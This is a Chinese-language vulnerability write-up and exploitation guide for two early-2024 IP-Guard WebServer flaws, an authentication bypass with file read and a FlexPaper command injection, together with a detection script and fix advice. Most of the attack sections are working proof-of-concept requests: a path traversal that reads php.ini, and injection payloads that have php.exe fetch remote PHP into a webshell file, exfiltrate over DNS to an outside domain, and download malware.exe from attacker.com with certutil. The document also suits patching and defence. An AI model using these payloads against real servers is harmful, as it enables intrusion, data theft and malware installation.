IP-guard WebServer 2024年年初两个漏洞简单分析
字数 1159 2025-08-05 08:19:59
IP-Guard WebServer 2024年漏洞分析与利用指南
前言
本文档详细分析IP-Guard WebServer在2024年初被披露的两个安全漏洞:权限绕过漏洞(QVD-2024-14103)和FlexPaper远程命令执行漏洞。文档包含漏洞原理分析、利用方法、检测脚本以及修复建议。
权限绕过漏洞(QVD-2024-14103)分析
漏洞位置
漏洞存在于IP-Guard WebServer的mApplyList.php文件中,具体路径为:
ipg/application/controllers/appr/mApplyList.php
漏洞函数分析
关键函数为downloadFile_client,主要功能是从本地web服务器下载文件到本地。函数逻辑如下:
-
接收参数:
path:文件路径fileName:文件名action:操作类型(download或review)
-
路径处理:
$file_dir = f"tempFile/{path}" -
操作判断:
- 如果
action为download,则使用fopen打开本地文件并输出到响应中
- 如果
漏洞利用方法
-
初始尝试直接访问:
GET /ipg/appr/MApplyList/downloadFile_client?path=..%2F..%2F..%2FApache%2Fbin%2Fphp.ini&filename=1&action=download但会被重定向到登录页面
-
发现权限绕过点:
- 在URL末尾添加
/getdatarecord可绕过认证 - 原因:当
func为getdatarecord时只记录错误日志而不重定向
- 在URL末尾添加
-
最终利用POC:
GET /ipg/appr/MApplyList/downloadFile_client/getdatarecord?path=..%2F..%2F..%2FApache%2Fbin%2Fphp.ini&filename=1&action=download
漏洞修复建议
修改mApplyList.php,在getdatarecord判断后增加重定向:
if($func != 'download') {
if ($func == 'getdatarecord') {
$this->errorresult(ErrorCode::OERR_NOT_LOGIN);
redirect("appr/SignIn");
return;
}
redirect("appr/SignIn");
return;
}
漏洞检测脚本
Python检测脚本:
import requests
import argparse
def check(url) -> bool:
try:
result = False
if url:
response = requests.get(f"{url}/ipg/appr/MApplyList/downloadFile_client/getdatarecord")
if response.status_code == 200:
result = True
except Exception as e:
print(f"Error: {e}")
return result
def main():
parser = argparse.ArgumentParser(description='Check if a URL is vulnerabled.')
parser.add_argument('-u', '--url', type=str, help='URL to check', default=None)
args = parser.parse_args()
url = args.url
if url:
if check(url):
print("URL is vulnerabled.")
else:
print("URL is not vulnerabled.")
else:
print("-u target No URL provided.")
if __name__ == "__main__":
main()
FlexPaper远程命令执行漏洞分析
漏洞位置
漏洞存在于:
/ipg/static/appr/lib/flexpaper/php/view.php
漏洞原理
view.php接收参数后直接传递给tool_transform.php中的函数- 关键函数
trans_pdf2png和trans_pdftk将参数拼接后直接通过exec执行 - 攻击者可通过管道符注入任意命令
漏洞利用方法
-
基本POC:
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.docx"+%26+echo+shell+>+shel233l.txt+%23&page=exp&format=swf&callback=callback&isSplit=true -
绕过WAF的高级POC:
- 方法1:执行PHP代码
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.pdf&format=swf&isSplit=true&page=||%22C%3A%5CProgram+Files+%28x86%29%5CTEC%5CWebServer%5Cphp%5Cphp.exe%22+-r+%22echo+file_get_contents%28%27http%3A%2F%2F192.168.10.248%2Fserver%2Fs.php%27%29%3B%22%20>>ttttt.php - 方法2:DNS外带数据
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.pdf&format=swf&isSplit=true&page=||nslookup%20yafjjulyfe.dgrh3.cn - 方法3:使用certutil下载文件
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=1.pdf&format=swf&isSplit=true&page=||certutil%20-urlcache%20-f%20http://attacker.com/malware.exe%20malware.exe
- 方法1:执行PHP代码
漏洞修复建议
官方修复方法:直接删除view.php文件
总结
-
权限绕过漏洞(QVD-2024-14103):
- 通过
/getdatarecord路径绕过认证 - 可读取服务器任意文件
- 修复方法:增加重定向逻辑
- 通过
-
FlexPaper远程命令执行:
- 参数直接拼接执行导致命令注入
- 可通过多种方式绕过WAF
- 修复方法:删除漏洞文件
-
检测方法:
- 权限绕过:检查
/ipg/appr/MApplyList/downloadFile_client/getdatarecord是否可访问 - 命令执行:检查
view.php文件是否存在
- 权限绕过:检查
附录
-
参考链接:
-
受影响版本:
- 确认受影响版本:4.82.0607.0及之前版本
- 修复版本:需联系厂商获取最新补丁